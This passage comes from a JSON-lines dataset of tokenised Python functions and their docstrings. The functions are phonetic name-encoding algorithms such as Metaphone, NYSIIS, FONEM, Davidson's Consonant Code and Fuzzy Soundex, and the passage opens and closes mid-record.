'<STR_LIT>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT>elif current_char == '<STR_LIT:X>':<EOL><INDENT>if (<EOL>len(word) > <NUM_LIT:1><EOL>and pos == <NUM_LIT:0><EOL>and not _is_vowel(pos + <NUM_LIT:1>)<EOL>):<EOL><INDENT>meta_key += '<STR_LIT>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>meta_key += '<STR_LIT:X>'<EOL>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>pos += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>if modified:<EOL><INDENT>meta_key = meta_key.replace('<STR_LIT:S>', '<STR_LIT>')<EOL><DEDENT>return meta_key<EOL>", "docstring": "Return the Spanish Metaphone of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The length of the code returned (defaults to 6)\n        modified : bool\n            Set to True to use del Pilar Angeles & Bail\u00f3n-Miguel's modified\n            version of the algorithm\n\n        Returns\n        -------\n        str\n            The Spanish Metaphone code\n\n        Examples\n        --------\n        >>> pe = SpanishMetaphone()\n        >>> pe.encode('Perez')\n        'PRZ'\n        >>> pe.encode('Martinez')\n        'MRTNZ'\n        >>> pe.encode('Gutierrez')\n        'GTRRZ'\n        >>> pe.encode('Santiago')\n        'SNTG'\n        >>> pe.encode('Nicol\u00e1s')\n        'NKLS'", "id": "f6605:c0:m0"}
{"signature": "def metaphone(word, max_length=-<NUM_LIT:1>):", "body": "return Metaphone().encode(word, max_length)<EOL>", "docstring": "Return the Metaphone code for a word.\n\n    This is a wrapper for :py:meth:`Metaphone.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The maximum length of the returned Metaphone code (defaults to 64, but\n        in Philips' original implementation this was 4)\n\n    Returns\n    -------\n    str\n        The Metaphone value\n\n    Examples\n    --------\n    >>> metaphone('Christopher')\n    'KRSTFR'\n    >>> metaphone('Niall')\n    'NL'\n    >>> metaphone('Smith')\n    'SM0'\n    >>> metaphone('Schmidt')\n    'SKMTT'", "id": "f6606:m0"}
{"signature": "def encode(self, word, max_length=-<NUM_LIT:1>):", "body": "<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = max(<NUM_LIT:4>, max_length)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>ename = '<STR_LIT>'.join(c for c in word.upper() if c.isalnum())<EOL>ename = ename.replace('<STR_LIT>', '<STR_LIT>')<EOL>if not ename:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>if ename[<NUM_LIT:0>:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>ename = ename[<NUM_LIT:1>:]<EOL><DEDENT>elif ename[<NUM_LIT:0>] == '<STR_LIT:X>':<EOL><INDENT>ename = '<STR_LIT:S>' + ename[<NUM_LIT:1>:]<EOL><DEDENT>elif ename[<NUM_LIT:0>:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>ename = '<STR_LIT>' + ename[<NUM_LIT:2>:]<EOL><DEDENT>elen = len(ename) - <NUM_LIT:1><EOL>metaph = '<STR_LIT>'<EOL>for i in range(len(ename)):<EOL><INDENT>if len(metaph) >= max_length:<EOL><INDENT>break<EOL><DEDENT>if (<EOL>ename[i] not in {'<STR_LIT>', '<STR_LIT:T>'}<EOL>and i > <NUM_LIT:0><EOL>and ename[i - <NUM_LIT:1>] == ename[i]<EOL>):<EOL><INDENT>continue<EOL><DEDENT>if ename[i] in self._uc_v_set and i == <NUM_LIT:0>:<EOL><INDENT>metaph = ename[i]<EOL><DEDENT>elif ename[i] == '<STR_LIT:B>':<EOL><INDENT>if i != elen or ename[i - <NUM_LIT:1>] != '<STR_LIT:M>':<EOL><INDENT>metaph += ename[i]<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT:C>':<EOL><INDENT>if not (<EOL>i > <NUM_LIT:0><EOL>and ename[i - <NUM_LIT:1>] == '<STR_LIT:S>'<EOL>and ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in self._frontv<EOL>):<EOL><INDENT>if ename[i + <NUM_LIT:1> : i + <NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>metaph += '<STR_LIT:X>'<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in self._frontv:<EOL><INDENT>metaph += '<STR_LIT:S>'<EOL><DEDENT>elif i > <NUM_LIT:0> and ename[i - <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT:H>':<EOL><INDENT>if (<EOL>i == <NUM_LIT:0><EOL>and i + <NUM_LIT:1> < elen<EOL>and ename[i + <NUM_LIT:2> : i + <NUM_LIT:3>] not in self._uc_v_set<EOL>):<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT:X>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT>elif ename[i] == '<STR_LIT:D>':<EOL><INDENT>if (<EOL>ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT>'<EOL>and ename[i + <NUM_LIT:2> : i + <NUM_LIT:3>] in self._frontv<EOL>):<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT:T>'<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT>':<EOL><INDENT>if ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT:H>' and not (<EOL>i + <NUM_LIT:1> == elen or ename[i + <NUM_LIT:2> : i + <NUM_LIT:3>] not in self._uc_v_set<EOL>):<EOL><INDENT>continue<EOL><DEDENT>elif i > <NUM_LIT:0> and (<EOL>(i + <NUM_LIT:1> == elen and ename[i + <NUM_LIT:1>] == '<STR_LIT:N>')<EOL>or (i + <NUM_LIT:3> == elen and ename[i + <NUM_LIT:1> : i + <NUM_LIT:4>] == '<STR_LIT>')<EOL>):<EOL><INDENT>continue<EOL><DEDENT>elif (<EOL>i - <NUM_LIT:1> > <NUM_LIT:0><EOL>and i + <NUM_LIT:1> <= elen<EOL>and ename[i - <NUM_LIT:1>] == '<STR_LIT:D>'<EOL>and ename[i + <NUM_LIT:1>] in self._frontv<EOL>):<EOL><INDENT>continue<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in self._frontv:<EOL><INDENT>if i == <NUM_LIT:0> or ename[i - <NUM_LIT:1>] != '<STR_LIT>':<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT:H>':<EOL><INDENT>if (<EOL>i > <NUM_LIT:0><EOL>and ename[i - <NUM_LIT:1>] in self._uc_v_set<EOL>and ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] not in self._uc_v_set<EOL>):<EOL><INDENT>continue<EOL><DEDENT>elif i > <NUM_LIT:0> and ename[i - <NUM_LIT:1>] in self._varson:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT:H>'<EOL><DEDENT><DEDENT>elif ename[i] in {'<STR_LIT:F>', '<STR_LIT>', '<STR_LIT:L>', '<STR_LIT:M>', '<STR_LIT:N>', '<STR_LIT:R>'}:<EOL><INDENT>metaph += ename[i]<EOL><DEDENT>elif ename[i] == '<STR_LIT>':<EOL><INDENT>if i > <NUM_LIT:0> and ename[i - <NUM_LIT:1>] == '<STR_LIT:C>':<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT:P>':<EOL><INDENT>if ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT:H>':<EOL><INDENT>metaph += '<STR_LIT:F>'<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT:P>'<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT>':<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT>elif ename[i] == '<STR_LIT:S>':<EOL><INDENT>if (<EOL>i > <NUM_LIT:0><EOL>and i + <NUM_LIT:2> <= elen<EOL>and ename[i + <NUM_LIT:1>] == '<STR_LIT:I>'<EOL>and ename[i + <NUM_LIT:2>] in '<STR_LIT>'<EOL>):<EOL><INDENT>metaph += '<STR_LIT:X>'<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT:H>':<EOL><INDENT>metaph += '<STR_LIT:X>'<EOL><DEDENT>else:<EOL><INDENT>metaph += '<STR_LIT:S>'<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT:T>':<EOL><INDENT>if (<EOL>i > <NUM_LIT:0><EOL>and i + <NUM_LIT:2> <= elen<EOL>and ename[i + <NUM_LIT:1>] == '<STR_LIT:I>'<EOL>and ename[i + <NUM_LIT:2>] in {'<STR_LIT:A>', '<STR_LIT:O>'}<EOL>):<EOL><INDENT>metaph += '<STR_LIT:X>'<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] == '<STR_LIT:H>':<EOL><INDENT>metaph += '<STR_LIT:0>'<EOL><DEDENT>elif ename[i + <NUM_LIT:1> : i + <NUM_LIT:3>] != '<STR_LIT>':<EOL><INDENT>if ename[i - <NUM_LIT:1> : i] != '<STR_LIT:T>':<EOL><INDENT>metaph += '<STR_LIT:T>'<EOL><DEDENT><DEDENT><DEDENT>elif ename[i] == '<STR_LIT>':<EOL><INDENT>metaph += '<STR_LIT:F>'<EOL><DEDENT>elif ename[i] in '<STR_LIT>':<EOL><INDENT>if ename[i + <NUM_LIT:1> : i + <NUM_LIT:2>] in self._uc_v_set:<EOL><INDENT>metaph += ename[i]<EOL><DEDENT><DEDENT>elif ename[i] == '<STR_LIT:X>':<EOL><INDENT>metaph += '<STR_LIT>'<EOL><DEDENT>elif ename[i] == '<STR_LIT>':<EOL><INDENT>metaph += '<STR_LIT:S>'<EOL><DEDENT><DEDENT>return metaph<EOL>", "docstring": "Return the Metaphone code for a word.\n\n        Based on Lawrence Philips' Pick BASIC code from 1990\n        :cite:`Philips:1990`, as described in :cite:`Philips:1990b`.\n        This incorporates some corrections to the above code, particularly\n        some of those suggested by Michael Kuhn in :cite:`Kuhn:1995`.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The maximum length of the returned Metaphone code (defaults to 64,\n            but in Philips' original implementation this was 4)\n\n        Returns\n        -------\n        str\n            The Metaphone value\n\n        Examples\n        --------\n        >>> pe = Metaphone()\n        >>> pe.encode('Christopher')\n        'KRSTFR'\n        >>> pe.encode('Niall')\n        'NL'\n        >>> pe.encode('Smith')\n        'SM0'\n        >>> pe.encode('Schmidt')\n        'SKMTT'", "id": "f6606:c0:m0"}
{"signature": "def fonem(word):", "body": "return FONEM().encode(word)<EOL>", "docstring": "Return the FONEM code of a word.\n\n    This is a wrapper for :py:meth:`FONEM.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n\n    Returns\n    -------\n    str\n        The FONEM code\n\n    Examples\n    --------\n    >>> fonem('Marchand')\n    'MARCHEN'\n    >>> fonem('Beaulieu')\n    'BOLIEU'\n    >>> fonem('Beaumont')\n    'BOMON'\n    >>> fonem('Legrand')\n    'LEGREN'\n    >>> fonem('Pelletier')\n    'PELETIER'", "id": "f6607:m0"}
{"signature": "def encode(self, word):", "body": "<EOL>word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.translate({<NUM_LIT>: '<STR_LIT>', <NUM_LIT>: '<STR_LIT>'})<EOL>word = '<STR_LIT>'.join(c for c in word if c in self._uc_set)<EOL>for rule in self._rule_order:<EOL><INDENT>regex, repl = self._rule_table[rule]<EOL>if isinstance(regex, text_type):<EOL><INDENT>word = word.replace(regex, repl)<EOL><DEDENT>else:<EOL><INDENT>word = regex.sub(repl, word)<EOL><DEDENT><DEDENT>return word<EOL>", "docstring": "Return the FONEM code of a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n\n        Returns\n        -------\n        str\n            The FONEM code\n\n        Examples\n        --------\n        >>> pe = FONEM()\n        >>> pe.encode('Marchand')\n        'MARCHEN'\n        >>> pe.encode('Beaulieu')\n        'BOLIEU'\n        >>> pe.encode('Beaumont')\n        'BOMON'\n        >>> pe.encode('Legrand')\n        'LEGREN'\n        >>> pe.encode('Pelletier')\n        'PELETIER'", "id": "f6607:c0:m0"}
{"signature": "def nysiis(word, max_length=<NUM_LIT:6>, modified=False):", "body": "return NYSIIS().encode(word, max_length, modified)<EOL>", "docstring": "Return the NYSIIS code for a word.\n\n    This is a wrapper for :py:meth:`NYSIIS.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The maximum length (default 6) of the code to return\n    modified : bool\n        Indicates whether to use USDA modified NYSIIS\n\n    Returns\n    -------\n    str\n        The NYSIIS value\n\n    Examples\n    --------\n    >>> nysiis('Christopher')\n    'CRASTA'\n    >>> nysiis('Niall')\n    'NAL'\n    >>> nysiis('Smith')\n    'SNAT'\n    >>> nysiis('Schmidt')\n    'SNAD'\n\n    >>> nysiis('Christopher', max_length=-1)\n    'CRASTAFAR'\n\n    >>> nysiis('Christopher', max_length=8, modified=True)\n    'CRASTAFA'\n    >>> nysiis('Niall', max_length=8, modified=True)\n    'NAL'\n    >>> nysiis('Smith', max_length=8, modified=True)\n    'SNAT'\n    >>> nysiis('Schmidt', max_length=8, modified=True)\n    'SNAD'", "id": "f6608:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:6>, modified=False):", "body": "<EOL>if max_length > -<NUM_LIT:1>:<EOL><INDENT>max_length = max(<NUM_LIT:6>, max_length)<EOL><DEDENT>word = '<STR_LIT>'.join(c for c in word.upper() if c.isalpha())<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if not word:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>original_first_char = word[<NUM_LIT:0>]<EOL>if word[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:3>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT:C>' + word[<NUM_LIT:1>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:3>:]<EOL><DEDENT>elif modified:<EOL><INDENT>if word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:1>] in self._uc_v_set:<EOL><INDENT>word = '<STR_LIT:A>' + word[<NUM_LIT:1>:]<EOL><DEDENT><DEDENT>if modified and word[-<NUM_LIT:1>:] in {'<STR_LIT:S>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:1>]<EOL><DEDENT>if (<EOL>word[-<NUM_LIT:2>:] == '<STR_LIT>'<EOL>or word[-<NUM_LIT:2>:] == '<STR_LIT>'<EOL>or (modified and word[-<NUM_LIT:2>:] == '<STR_LIT>')<EOL>):<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:Y>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT:D>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = word[:-<NUM_LIT:2>] + ('<STR_LIT:N>' if modified else '<STR_LIT:D>')<EOL><DEDENT>elif modified:<EOL><INDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT><DEDENT>key = word[:<NUM_LIT:1>]<EOL>skip = <NUM_LIT:0><EOL>for i in range(<NUM_LIT:1>, len(word)):<EOL><INDENT>if i >= len(word):<EOL><INDENT>continue<EOL><DEDENT>elif skip:<EOL><INDENT>skip -= <NUM_LIT:1><EOL>continue<EOL><DEDENT>elif word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:2> :]<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif word[i] in self._uc_v_set:<EOL><INDENT>word = word[:i] + '<STR_LIT:A>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif modified and i != len(word) - <NUM_LIT:1> and word[i] == '<STR_LIT:Y>':<EOL><INDENT>word = word[:i] + '<STR_LIT:A>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT:S>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i] == '<STR_LIT:M>':<EOL><INDENT>word = word[:i] + '<STR_LIT:N>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT:N>' + word[i + <NUM_LIT:2> :]<EOL><DEDENT>elif word[i] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT:C>' + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif modified and i == len(word) - <NUM_LIT:3> and word[i : i + <NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>'<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif word[i : i + <NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:3> :]<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif modified and i == len(word) - <NUM_LIT:2> and word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>'<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:2> :]<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:2> :]<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif modified and word[i : i + <NUM_LIT:3>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:3> :]<EOL>skip = <NUM_LIT:2><EOL><DEDENT>elif modified and word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:2> :]<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif modified and word[i : i + <NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = word[:i] + '<STR_LIT>' + word[i + <NUM_LIT:2> :]<EOL>skip = <NUM_LIT:1><EOL><DEDENT>elif word[i] == '<STR_LIT:H>' and (<EOL>word[i - <NUM_LIT:1>] not in self._uc_v_set<EOL>or word[i + <NUM_LIT:1> : i + <NUM_LIT:2>] not in self._uc_v_set<EOL>):<EOL><INDENT>word = word[:i] + word[i - <NUM_LIT:1>] + word[i + <NUM_LIT:1> :]<EOL><DEDENT>elif word[i] == '<STR_LIT>' and word[i - <NUM_LIT:1>] in self._uc_v_set:<EOL><INDENT>word = word[:i] + word[i - <NUM_LIT:1>] + word[i + <NUM_LIT:1> :]<EOL><DEDENT>if word[i : i + skip + <NUM_LIT:1>] != key[-<NUM_LIT:1>:]:<EOL><INDENT>key += word[i : i + skip + <NUM_LIT:1>]<EOL><DEDENT><DEDENT>key = self._delete_consecutive_repeats(key)<EOL>if key[-<NUM_LIT:1>:] == '<STR_LIT:S>':<EOL><INDENT>key = key[:-<NUM_LIT:1>]<EOL><DEDENT>if key[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>key = key[:-<NUM_LIT:2>] + '<STR_LIT:Y>'<EOL><DEDENT>if key[-<NUM_LIT:1>:] == '<STR_LIT:A>':<EOL><INDENT>key = key[:-<NUM_LIT:1>]<EOL><DEDENT>if modified and key[:<NUM_LIT:1>] == '<STR_LIT:A>':<EOL><INDENT>key = original_first_char + key[<NUM_LIT:1>:]<EOL><DEDENT>if max_length > <NUM_LIT:0>:<EOL><INDENT>key = key[:max_length]<EOL><DEDENT>return key<EOL>", "docstring": "Return the NYSIIS code for a word.\n\n        Parameters\n        ----------\n        word : str\n            The word to transform\n        max_length : int\n            The maximum length (default 6) of the code to return\n        modified : bool\n            Indicates whether to use USDA modified NYSIIS\n\n        Returns\n        -------\n        str\n            The NYSIIS value\n\n        Examples\n        --------\n        >>> pe = NYSIIS()\n        >>> pe.encode('Christopher')\n        'CRASTA'\n        >>> pe.encode('Niall')\n        'NAL'\n        >>> pe.encode('Smith')\n        'SNAT'\n        >>> pe.encode('Schmidt')\n        'SNAD'\n\n        >>> pe.encode('Christopher', max_length=-1)\n        'CRASTAFAR'\n\n        >>> pe.encode('Christopher', max_length=8, modified=True)\n        'CRASTAFA'\n        >>> pe.encode('Niall', max_length=8, modified=True)\n        'NAL'\n        >>> pe.encode('Smith', max_length=8, modified=True)\n        'SNAT'\n        >>> pe.encode('Schmidt', max_length=8, modified=True)\n        'SNAD'", "id": "f6608:c0:m0"}
{"signature": "def davidson(lname, fname='<STR_LIT:.>', omit_fname=False):", "body": "return Davidson().encode(lname, fname, omit_fname)<EOL>", "docstring": "Return Davidson's Consonant Code.\n\n    This is a wrapper for :py:meth:`Davidson.encode`.\n\n    Parameters\n    ----------\n    lname : str\n        Last name (or word) to be encoded\n    fname : str\n        First name (optional), of which the first character is included in the\n        code.\n    omit_fname : bool\n        Set to True to completely omit the first character of the first name\n\n    Returns\n    -------\n    str\n        Davidson's Consonant Code\n\n    Example\n    -------\n    >>> davidson('Gough')\n    'G   .'\n    >>> davidson('pneuma')\n    'PNM .'\n    >>> davidson('knight')\n    'KNGT.'\n    >>> davidson('trice')\n    'TRC .'\n    >>> davidson('judge')\n    'JDG .'\n    >>> davidson('Smith', 'James')\n    'SMT J'\n    >>> davidson('Wasserman', 'Tabitha')\n    'WSRMT'", "id": "f6609:m0"}
{"signature": "def encode(self, lname, fname='<STR_LIT:.>', omit_fname=False):", "body": "lname = text_type(lname.upper())<EOL>code = self._delete_consecutive_repeats(<EOL>lname[:<NUM_LIT:1>] + lname[<NUM_LIT:1>:].translate(self._trans)<EOL>)<EOL>code = code[:<NUM_LIT:4>] + (<NUM_LIT:4> - len(code)) * '<STR_LIT:U+0020>'<EOL>if not omit_fname:<EOL><INDENT>code += fname[:<NUM_LIT:1>].upper()<EOL><DEDENT>return code<EOL>", "docstring": "Return Davidson's Consonant Code.\n\n        Parameters\n        ----------\n        lname : str\n            Last name (or word) to be encoded\n        fname : str\n            First name (optional), of which the first character is included in\n            the code.\n        omit_fname : bool\n            Set to True to completely omit the first character of the first\n            name\n\n        Returns\n        -------\n        str\n            Davidson's Consonant Code\n\n        Example\n        -------\n        >>> pe = Davidson()\n        >>> pe.encode('Gough')\n        'G   .'\n        >>> pe.encode('pneuma')\n        'PNM .'\n        >>> pe.encode('knight')\n        'KNGT.'\n        >>> pe.encode('trice')\n        'TRC .'\n        >>> pe.encode('judge')\n        'JDG .'\n        >>> pe.encode('Smith', 'James')\n        'SMT J'\n        >>> pe.encode('Wasserman', 'Tabitha')\n        'WSRMT'", "id": "f6609:c0:m0"}
{"signature": "def fuzzy_soundex(word, max_length=<NUM_LIT:5>, zero_pad=True):", "body": "return FuzzySoundex().encode(word, max_length, zero_pad)<EOL>", "docstring": "Return the Fuzzy Soundex code for a word.\n\n    This is a wrapper for :py:meth:`FuzzySoundex.encode`.\n\n    Parameters\n    ----------\n    word : str\n        The word to transform\n    max_length : int\n        The length of the code returned (defaults to 4)\n    zero_pad : bool\n        Pad the end of the return value with 0s to achieve a max_length string\n\n    Returns\n    -------\n    str\n        The Fuzzy Soundex value\n\n    Examples\n    --------\n    >>> fuzzy_soundex('Christopher')\n    'K6931'\n    >>> fuzzy_soundex('Niall')\n    'N4000'\n    >>> fuzzy_soundex('Smith')\n    'S5300'\n    >>> fuzzy_soundex('Smith')\n    'S5300'", "id": "f6610:m0"}
{"signature": "def encode(self, word, max_length=<NUM_LIT:5>, zero_pad=True):", "body": "word = unicode_normalize('<STR_LIT>', text_type(word.upper()))<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>if max_length != -<NUM_LIT:1>:<EOL><INDENT>max_length = min(max(<NUM_LIT:4>, max_length), <NUM_LIT:64>)<EOL><DEDENT>else:<EOL><INDENT>max_length = <NUM_LIT:64><EOL><DEDENT>if not word:<EOL><INDENT>if zero_pad:<EOL><INDENT>return '<STR_LIT:0>' * max_length<EOL><DEDENT>return '<STR_LIT:0>'<EOL><DEDENT>if word[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>elif word[:<NUM_LIT:2>] in {'<STR_LIT>', '<STR_LIT>'}:<EOL><INDENT>word = '<STR_LIT>' + word[<NUM_LIT:2>:]<EOL><DEDENT>if word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT>'<EOL><DEDENT>elif word[-<NUM_LIT:2>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:2>] + '<STR_LIT>'<EOL><DEDENT>elif word[-<NUM_LIT:3>:] == '<STR_LIT>':<EOL><INDENT>word = word[:-<NUM_LIT:3>] + '<STR_LIT>'<EOL><DEDENT>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>word = word.replace('<STR_LIT>', '<STR_LIT>')<EOL>sdx = 